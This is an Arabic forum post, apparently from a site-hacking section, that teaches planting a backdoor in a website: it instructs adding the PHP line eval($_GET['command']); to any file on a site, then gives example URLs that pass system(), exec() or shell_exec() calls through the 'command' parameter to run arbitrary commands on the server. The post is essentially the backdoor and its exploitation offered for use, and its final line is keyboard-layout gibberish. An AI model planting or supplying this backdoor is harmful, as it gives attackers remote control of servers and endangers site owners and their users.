زرع ثغره Remote Command Execution بطريقه سهله

[box]

command, ثغره, execution, بطريقه, سهله, remote

زرع ثغره Remote Command Execution بطريقه سهله

بسم الله الرحمن الرحيم



السلام عليكم ورحمه الله وبركاته

تعريف الثغره للي ما يعرفها
الثغره تسمح لك بتنفيذ أوامر مباشره على السيرفر عن بعد !

أفتح أي ملف بالموقع وأضيف هذا السطر

كود PHP:

eval($_GET['command']);

الاستغلال :
كود PHP:

http://site.com/file.php?command=system('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=exec('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=shell_exec('XX');

واستبدل XX بألامر اللي تبغى تنفذه .. والنتيجه راح تظهر بالمتصفح ::
وطبعاً استبدل site.com بدومين الموقع وfile.php بإسم الملف اللي وضعت فيه السطر ::

المصدر: development-point - للمزيد تابع : قسم اختراق المواقع والسيرفرات

---

.vu eyvi Remote Command Execution f'vdri sigi command execution remote